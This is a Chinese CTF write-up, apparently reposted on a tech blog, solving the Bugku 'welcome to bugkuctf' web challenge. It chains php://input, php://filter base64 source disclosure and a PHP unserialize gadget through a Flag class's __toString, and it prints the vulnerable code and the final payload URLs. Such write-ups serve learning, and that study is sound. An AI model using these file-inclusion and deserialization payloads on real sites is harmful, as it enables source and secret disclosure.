Bugkuctf web题---------welcome to bugkuctf

编程入门 行业动态 更新时间:2024-10-20 11:26:02

<a href=https://www.elefans.com/category/jswz/34/1767783.html style=Bugkuctf web题---------welcome to bugkuctf"/>

Bugkuctf web题---------welcome to bugkuctf

今天做到了一道比较有收获的题,所以呢就打算记下来,涉及到了文件包含的知识,复习复习,对于目前滴俺来说,确实有难度!

题目链接

首先打开题目,如图
查看源码
好的!注释成功引起了我们的注意,第一个线索找到了!
好吧,让我们来分析一下源码
开始来了仨变量,user,file,pass。(跟踪变量有肉吃!)
部分陌生的函数理解:

  1. isset——判断变量是否声明,即user补位空
  2. file_get_contents— 将整个文件读入一个字符串
    然后。。。
    我们发现有个好东西,就是它!这个后面应该会用到的。
    里面可能有些东西,嘿嘿
    点开看看,是不是金屋藏娇了!
    啥都没有。。。好尴尬,有点迷
    看来是没有这么简单

再看源码


好的,思路来了
即:满足条件后要读取file=hint.php文件!

那么如何满足条件呢?
第一个,满足user存在,那么txt就要有内容

第二,file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。

我们想把指定字符串作为文件传给txt,然后再读出user中的内容进行比较,就达成条件了!

那么如何做呢?

这里就要用到一个知识点php伪协议

如果你看着有点懵?那么还是先看看官方文档吧

这里需要的是
php://input----一个可以访问请求的原始数据的只读流。 访问的是文件!


大致是让txt作为文件名,然后让php://input读取,同时把指定的字符串的内容给post上去,让它成为文件的内容。就得到了
PS:payload此时还不完整哦!
咦?有小伙伴可能要问了,index.php哪儿来的呢?
度娘解释如下
所以可以当做一个经验,如若不服,可以采用御剑去扫一扫啦。

好了,咱满足了条件,接下来是要读取包含滴文件,这就要用到第二个伪协议

php://filter任意文件读取!

放上一个截图,当然也可以选择看官方文档哈

于是我们的payload构造出来了
txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

看到一坨字母,有木有觉得眼熟?没错,它就是base64!

解码后如下

<?php  class Flag{//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("good");}  }  
}  
?>  

哇?flag.php!兴奋啊,马上去一看

又是啥都没有???

是不是sa???都知道了是文件包含,还不会!

又是一坨天书?不知道啥意思,一看源码
啊啊啊,信不信我掀桌子啊
现在又该咋办呢?
想一想还有撒没用,好像还有个index.php???

用伪协议读一下


又是base64,解码得

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  echo "hello friend!<br>";  if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit();  }else{  include($file);   $password = unserialize($password);  echo $password;  }  
}else{  echo "you are not the number of bugku ! ";  
}  ?>  <!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  echo "hello admin!<br>";  include($file); //hint.php  
}else{  echo "you are not admin ! ";  
}  -->  

寻找跟flag.php相关的代码!!!
翻译一下意思

如果file不包含’flag’,输出password的值,这个值是反序列化后的结果

反序列化前,应该要有序列化,那么去哪儿找呢?

别忘了咱们的hint.php还没用完哦,

这里要插入一个知识点

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
这样一来,代码的意思就懂了,即当Flag类当做字符串执行时,会自动执行该方法,然后若file文件存在,则输出该文件

于是思路来了!

联立前面的反序列化,

构造一个序列化的结果,内容是一个Flag类,里面传递的$file值为想要输出内容的flag.php,
代码如下

<?php
class Flag{
public $file;
}//定义类
$ans=new Flag();//创建一个对象
$ans->file="flag.php";
$ans=serialize($ans);//序列化
print_r($ans)
?>

当然熟悉的小伙伴可以直接写出来

即:o:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

把它传给变量password,get进去就完成啦!当然,include的文件要是hint.php,毕竟要使用里面的函数。

所以最终的payload为
http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

到此结束!
费老大劲儿了!

感觉菜得不行,还需更努力呀!

更多推荐

Bugkuctf web题---------welcome to bugkuctf

本文发布于:2023-07-28 15:44:08,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1239234.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:Bugkuctf   web   bugkuctf

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!